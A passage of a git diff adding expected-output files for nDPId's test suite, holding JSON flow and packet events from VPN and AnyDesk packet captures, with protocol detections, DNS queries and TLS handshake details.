+00615{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2590,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":4,"flow_first_seen":1569687286917,"flow_last_seen":1569687286919,"flow_tot_l4_data_len":519,"flow_min_l4_data_len":48,"flow_max_l4_data_len":234,"flow_avg_l4_data_len":129,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"79d88e83-725c-b71b-bad0-5862d5b22386._googlezone._tcp.local"}} +00444{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2723,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1569687287737,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"224.0.0.1","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":72,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2723,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687287,"pkt_ts_usec":737123,"pkt_caplen":56,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":56,"pkt_l4_len":16,"pkt":"AQBeAAABLH6BsEqhCABFwAAkGHoAAAEBtp0KAAAB4AAAAQkA5rYBAgVGCgAAAQAAAAAAAP\/\/Aiw="} +00476{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2723,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1569687287737,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"224.0.0.1","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} +00434{"flow_id":54,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2914,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687288,"pkt_ts_usec":158305,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0aqNAAPMGolQIJWfECgAA4wG73ieGjW4CDCXQ8YARTdYJBAAAAQEICninjVgcDdF\/"} +00433{"flow_id":43,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2981,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687288,"pkt_ts_usec":697648,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"2DE0IHf7NDY7z3UoCABFAAA0AABAAEAGJUsKAADjCgAAl94iH3wAQcGNmjQa94AREADS0wAAAQEIChwOIOcGksZO"} diff --git a/test/results/anydesk-2.pcap.out b/test/results/anydesk-2.pcap.out new file mode 100644 index 000000000..753ac41d4 --- /dev/null +++ b/test/results/anydesk-2.pcap.out @@ -0,0 +1,923 @@ +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"anydesk-2.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1613977585247,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.187","dst_ip":"192.168.1.1","src_port":59511,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977585,"pkt_ts_usec":247036,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"EBMx8Tl22MuK4S0uCABFAABM5C0AAIARAADAqAG7wKgBAeh3ADUAOIRW7CIBAAABAAAAAAAADnJlbGF5LTMxODVhODQ3A25ldAdhbnlkZXNrA2NvbQAAAQAB"} +00662{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"anydesk-2.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1613977585247,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.187","dst_ip":"192.168.1.1","src_port":59511,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AnyDesk","breed":"Acceptable","category":"RemoteAccess"},"dns": {"query":"relay-3185a847.net.anydesk.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00482{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977585,"pkt_ts_usec":260893,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"2MuK4S0uEBMx8Tl2CABFAABcjnRAADkRLxDAqAEBwKgBuwA16HcASAAA7CKBgAABAAEAAAAADnJlbGF5LTMxODVhODQ3A25ldAdhbnlkZXNrA2NvbQAAAQABwAwAAQABAADSNAAEJT3fDw=="} +00688{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2,"source":"anydesk-2.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_first_seen":1613977585247,"flow_last_seen":1613977585260,"flow_tot_l4_data_len":128,"flow_min_l4_data_len":56,"flow_max_l4_data_len":72,"flow_avg_l4_data_len":64,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.187","dst_ip":"192.168.1.1","src_port":59511,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AnyDesk","breed":"Acceptable","category":"RemoteAccess"},"dns": {"query":"relay-3185a847.net.anydesk.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"37.61.223.15"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"anydesk-2.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1613977585542,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.187","dst_ip":"192.168.1.1","src_port":55376,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977585,"pkt_ts_usec":542630,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"EBMx8Tl22MuK4S0uCABFAABM5C4AAIARAADAqAG7wKgBAdhQADUAOIRW6okBAAABAAAAAAAADnJlbGF5LTliNjgyN2YyA25ldAdhbnlkZXNrA2NvbQAAAQAB"} +00662{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"anydesk-2.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1613977585542,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.187","dst_ip":"192.168.1.1","src_port":55376,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AnyDesk","breed":"Acceptable","category":"RemoteAccess"},"dns": {"query":"relay-9b6827f2.net.anydesk.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00482{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977585,"pkt_ts_usec":553797,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"2MuK4S0uEBMx8Tl2CABFAABcBhBAADkRt3TAqAEBwKgBuwA12FAASAAA6omBgAABAAEAAAAADnJlbGF5LTliNjgyN2YyA25ldAdhbnlkZXNrA2NvbQAAAQABwAwAAQABAABtXAAEisckcw=="} +00690{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":4,"source":"anydesk-2.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":2,"flow_first_seen":1613977585542,"flow_last_seen":1613977585553,"flow_tot_l4_data_len":128,"flow_min_l4_data_len":56,"flow_max_l4_data_len":72,"flow_avg_l4_data_len":64,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.187","dst_ip":"192.168.1.1","src_port":55376,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AnyDesk","breed":"Acceptable","category":"RemoteAccess"},"dns": {"query":"relay-9b6827f2.net.anydesk.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"138.199.36.115"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"anydesk-2.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1613977595379,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.187","dst_ip":"192.168.1.178","src_port":54164,"dst_port":7070,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":379986,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3I2MuK4S0uCABFAAA0dDNAAIAGAADAqAG7wKgBstOUG56PGHtIAAAAAIAC+vCE5AAAAgQFtAEDAwgBAQQC"} +00427{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":380477,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"2MuK4S0uKDc3AG3ICABFAAA0AABAAEAGtgbAqAGywKgBuxue05RZw\/OWjxh7SYAS\/\/+kVwAAAgQFtAEDAwUEAgAA"} +00408{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":380515,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"KDc3AG3I2MuK4S0uCABFAAAodDRAAIAGAADAqAG7wKgBstOUG56PGHtJWcPzl1AQBAKE2AAA"} +00742{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":380848,"pkt_caplen":299,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":299,"pkt_l4_len":265,"pkt":"KDc3AG3I2MuK4S0uCABFAAEddDVAAIAGAADAqAG7wKgBstOUG56PGHtJWcPzl1AYBAKFzQAAFgMBAPABAADsAwNj3AGBpT3DvXWxFVWt8lyInfOzaE5lLOK0P1RS+v5ukgAAbsAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANsAywC7AKsAmwA\/ABQCdAD0ANcAvwCvAJ8AjwBPACQCkAKIAoACeAGcAQAA\/AD4AMwAyADEAMMAxwC3AKcAlwA7ABACcADwALwD\/AQAAVQALAAQDAAECAAoAHAAaABcAGQAcABsAGAAaABYADgANAAsADAAJAAoAIwAAAA0AIAAeBgEGAgYDBQEFAgUDBAEEAgQDAwEDAgMDAgECAgIDAA8AAQE="} +00771{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":8,"source":"anydesk-2.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":4,"flow_first_seen":1613977595379,"flow_last_seen":1613977595380,"flow_tot_l4_data_len":349,"flow_min_l4_data_len":20,"flow_max_l4_data_len":265,"flow_avg_l4_data_len":87,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.187","dst_ip":"192.168.1.178","src_port":54164,"dst_port":7070,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"3f2fba0262b1a22b739126dfb2fe7a7d","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00417{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":380908,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"2MuK4S0uKDc3AG3ICABFAAAoAABAAEAGthLAqAGywKgBuxue05RZw\/OXjxh7SVAQIADEJgAAAAAAAAAA"} +00419{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":381236,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"2MuK4S0uKDc3AG3ICABFAAAoAABAAEAGthLAqAGywKgBuxue05RZw\/OXjxh8PlAQH\/jDOQAAAAAAAAAA"} +02383{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":391710,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"2MuK4S0uKDc3AG3ICABFAAXcAABAAEAGsF7AqAGywKgBuxue05RZw\/OXjxh8PlAQIABdFgAAFgMDADoCAAA2AwOE4uKagyR4WpzZlTX3uV81nzJfBEzLEFSech4SFt7ExwAAnwAADv8BAAEAACMAAAAPAAEBFgMDArYLAAKyAAKvAAKsMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBDbGllbnQwIBcNMTgwODAzMTIzMzM0WhgPMjA2ODA3MjExMjMzMzRaMBkxFzAVBgNVBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArIaK0rq9eTlZvBcmZhh1H9c4WyavqU3KnPQjWKum4+D57QTq6vpp8Zc0mmlfSbdIckUvHjBDiS9uimzm4D4EcxdTgnlDkoD1BP4ueHjekNtFNgh04fFTTZyZVscL3oNitoLTkU4\/rpKLpwwbDC6h6+ytxWCa3+odO5IlRwhTW3afIESGML7\/I+EoPTOb1g2I21eLTPpw2Ey9Z+0sPtRAJpLulMSEj\/fpKcyvnqkLfpJH2HV0mGEFXtbfyn7y0dpUDxjRBb\/s55m+OHTMJOEXrDdEWfunUhL9cgvTyWnWwLxNdVWJEs4A6cGJ5pCETQrNRCkiOFuKXnFF3IE1SaR9ywIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQCZ2PTeYQVpoK\/4FnIIlkh5oTJ+rM1qSGu6uZXaiGbYqvrjRGF0z4YSE+Dsi+oHIKKlFN7lTj2IonetId1bxX3mfUFFc6ADQqoEk3h87NEgrJdaCpIi\/Qm8jePsjyFN4Z+A+EycFrOMbq7rMs5rnAAGSEPy4hsFHG8OneF3O4rBgCM70YOduX2cQCQfAhJZVgos3r9uWUBhLqRgkyYpnx0cwgUl7PH8aRB0W1BDBtTpU0GDswuvU7QANMJA\/U5nmSE1oycJ+boqTuHQVa1pQq1EwvgFfgQnaJOLe+QLml0VFaxHmDnQrVnmRBIvH2hciN5dZgq7zNCC8xLxFzBrxXW0FgMDAw8MAAMLAQDM3P8099u0r5PnIjdrfYCIOEb0OZCo\/4MAKya\/lWGZGsYnrujP9yoMeXV2yLvTu7kuAPzePn77sycy3\/hvl6Zp6kV5OyRB9H6vxREG1klpzmZljFlBdZboUl0RmnvB8GL8iHcVMHWEC8Rj5OL45dI7imcsFseDZ3HMq1acOiIwt4HgVLAaJhuGuWcFvZyOAtIwvpZfawKTuJ2wQPw1A6F4AT2MRyW3E1B3u0Mk1UUxNrKEFRQZceM7MKKf5jS1FeeZWxBB7FYpK+zqe\/FrQAhtlkn7MZtzOl8wBOmniIt9wsrvumkU8s8XmI6mkltmDpPkTvX4p4m29qBcwlFj6ShjAAECAQDCHYAAeN+Fzo2goH8VTD\/ekbzedKa8cjO+06b1VIhzKulIRhJa7TDMAIKA+I6VM5UCzKeDOR9\/pjTkRKbNU1QwC9FCflZTdnnAPWNNbYS4P7fDZ1Tin0dYpBcIQF5dzGc9MBv+eY+XcC+\/ENM8n6EKAN5vowPUTiol3SuwagOILkDrs71ka5\/CAvjsLwrpwsAVwPGOr0JzPIV1p4pBDwTmT47a5Z0XPYi88F\/u93KfXqfqs3nzSzcRMrjPVT5neUgUiPYmc3iktFSX+pUl+vMSwj5svlkGWGUENFBO1HMT2+BQEEpP7yyL\/IvHJ3PDV7WyYGlOK6iboGjdiFlcpAnIBgEBACqMmVZNVs6IGGAvaodGnHjnzlNj4CSXPXzu43pnPxUt4ZSH6mEFirbmauhDTe7xq7CLLDdl4WEBy9+mA63uKHIsns1NxfMuFmjDtgW+FPZL41rbgDlAEU4hrZHyZ\/vigaajOEZd4SgRNTHFY7X2igHR2v7dSPEcLj32+tU9\/NpmbMhlNbqpUnXompGP2SuttNS1pyvio21FCYhaIC+rLWD1OQydP6s="} +00967{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":11,"source":"anydesk-2.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":7,"flow_first_seen":1613977595379,"flow_last_seen":1613977595391,"flow_tot_l4_data_len":1869,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":267,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.187","dst_ip":"192.168.1.178","src_port":54164,"dst_port":7070,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS.AnyDesk","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"3f2fba0262b1a22b739126dfb2fe7a7d","ja3s":"ee644a8a34c434abca4b737ec1d9efad","unsafe_cipher":0,"cipher":"TLS_DHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"CN=AnyDesk Client, CN=AnyDesk Client","fingerprint":"F8:4E:27:4E:F9:33:35:2F:1A:69:71:D5:02:6B:B8:72:EF:B7:BA:B0"}} +00607{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":391710,"pkt_caplen":197,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":197,"pkt_l4_len":163,"pkt":"2MuK4S0uKDc3AG3ICABFAAC3AABAAEAGtYPAqAGywKgBuxue05RZw\/lLjxh8PlAYIAAyhQAA\/lfoKQRRf1Hxpsc6c\/yFjbVmgtO6ISUwVcLPkVXAi7DnESvmg0P2bwtRcTr4ZR9Nv2mLB1LE54nX2F3jqjkB9yM1nC+2ntDQGnI0l5VsuqIAnOB72eDWll8HFgMDADANAAAoBQMEAQJAAB4GAQYCBgMFAQUCBQMEAQQCBAMDAQMCAwMCAQICAgMAAA4AAAA="} +00409{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":391726,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"KDc3AG3I2MuK4S0uCABFAAAodDdAAIAGAADAqAG7wKgBstOUG56PGHw+WcP52lAQBAKE2AAA"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":14,"source":"anydesk-2.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1613977595407,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.178","dst_ip":"192.168.1.187","src_port":52039,"dst_port":7070,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":407425,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"2MuK4S0uKDc3AG3ICABFAABAAABAAEAGtfrAqAGywKgBu8tHG54tLA3cAAAAALAC\/\/97PgAAAgQFtAEDAwUBAQgKHE34xQAAAAAEAgAA"} +00428{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":407489,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3I2MuK4S0uCABFAAA0dDlAAIAGAADAqAG7wKgBshuey0dV\/SLKLSwN3YAS\/\/+E5AAAAgQFtAEDAwgBAQQC"} +00417{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":407676,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"2MuK4S0uKDc3AG3ICABFAAAoAABAAEAGthLAqAGywKgBu8tHG54tLA3dVf0iy1AQIABwXwAAAAAAAAAA"} +00768{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":408312,"pkt_caplen":317,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":317,"pkt_l4_len":283,"pkt":"2MuK4S0uKDc3AG3ICABFAAEvAABAAEAGtQvAqAGywKgBu8tHG54tLA3dVf0iy1AYIAC+RgAAFgMBAQIBAAD+AwM5xa94fzbZMZS38bcet4LQXQHW847W4Z2LW\/3GqgPjFAAAgMAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANsAywC7AKsAmwA\/ABQCdAD0ANcAvwCvAJ8AjwBPACQCkAKIAoACeAGcAQAA\/AD4AMwAyADEAMMAxwC3AKcAlwA7ABACcADwAL8ASwAgAFgATABAADcANwAMACgD\/AQAAVQALAAQDAAECAAoAHAAaABcAGQAcABsAGAAaABYADgANAAsADAAJAAoAIwAAAA0AIAAeBgEGAgYDBQEFAgUDBAEEAgQDAwEDAgMDAgECAgIDAA8AAQE="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":17,"source":"anydesk-2.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":4,"flow_first_seen":1613977595407,"flow_last_seen":1613977595408,"flow_tot_l4_data_len":379,"flow_min_l4_data_len":20,"flow_max_l4_data_len":283,"flow_avg_l4_data_len":94,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.178","dst_ip":"192.168.1.187","src_port":52039,"dst_port":7070,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"201999283915cc31cee6b15472ef3332","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +02158{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":431292,"pkt_caplen":1340,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1340,"pkt_l4_len":1306,"pkt":"KDc3AG3I2MuK4S0uCABFAAUudDtAAIAGAADAqAG7wKgBstOUG56PGHw+WcP52lAYBAKJ3gAAFgMDArYLAAKyAAKvAAKsMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBDbGllbnQwIBcNMjAwNjEyMTQzNTEzWhgPMjA3MDA1MzExNDM1MTNaMBkxFzAVBgNVBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwap8kuXKAODl3oBaBKgWpoG5V\/9k9Re\/y85alMHsrZO3DL2CsBH2LGo\/FAOWUEOhQajl2GfY6wvsOvdSBeIfebFRqTI\/eyvzGX88OAXyXB8eUxPLEyIYR\/n+yQjHspQmrvuu8efb\/qsnD0wEfaZg0F+IVSnsvk7ydwKvfAM7cULUHZ0Rdjm5nVmmFqdnN4HPmAarEGGUZoYdf5diMMeygE8vYMiNC3GogaczMOURejt8nDKg3hDaVyqophSfYaYV3ITgE+Nh\/dVHh+EMMnYnecAfZjVQbrebwLeJyU4mm2l4eOcUa7XakXYely\/GV1aaQqmZEls1jwTB+rGy7S9NXQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQAdS4QpIobUZqbbLjL4QoyB5qi3ZvARFTdDn\/9FwwTPSuHsKNhHmppWBwxEbx6h4A00T+QPgF+JpAon\/Xn567r0wRs+2Gx6\/cI8NKbS96Mi6NWr8UFxoeDYSx\/xaQiSAMRL05Q\/xUfL2hQSR7JGfXmwzGC2aMQ\/a06M6fbVNUSaZs9xsR+k3GRt9+n93NgXIOzAVQdbBETAx4gx2dNQDdg1wrP5pCoFNb8BplELzJqgvsS9+YJ26fnoOlRyktG8e1qKVEKb3BIRJYRTafgG9eC8SfhPYnYtFnIBtjzsJ3TB1zZdJVFNoxUozWRc3Qr7Gsi8TrD2m7DcORG5iDMlw1P6FgMDAQYQAAECAQDLZskNFwLc\/qW\/Nr+nKQJNvUu2f1z5l5YmbkSG9hgIFi2DKaaZOngFwl8rwI1rcdsD4nouljMfcV3R+yQGs5htzv39PiwagwI15EJ5bc86qPFaBEyzozXlfzv64MSTZBni6VjEm4tPNDoMy0H9an1vB5INebowvl5fmlYj9bNQkSnAjiIURhY0j9Tpp7s\/eNJllmD3\/sfXLji2SP9PkG9qtKRiWiWJREc7Xq9VAIgLGn\/VflVqkOU79Rny9e17uULj+hGQLIry9lPatmA6hQ1Q5Pm3eKSsywCcPEMX6RmXoSQ+nFRdiPbIli1CaOJA\/0krrsX4ONJ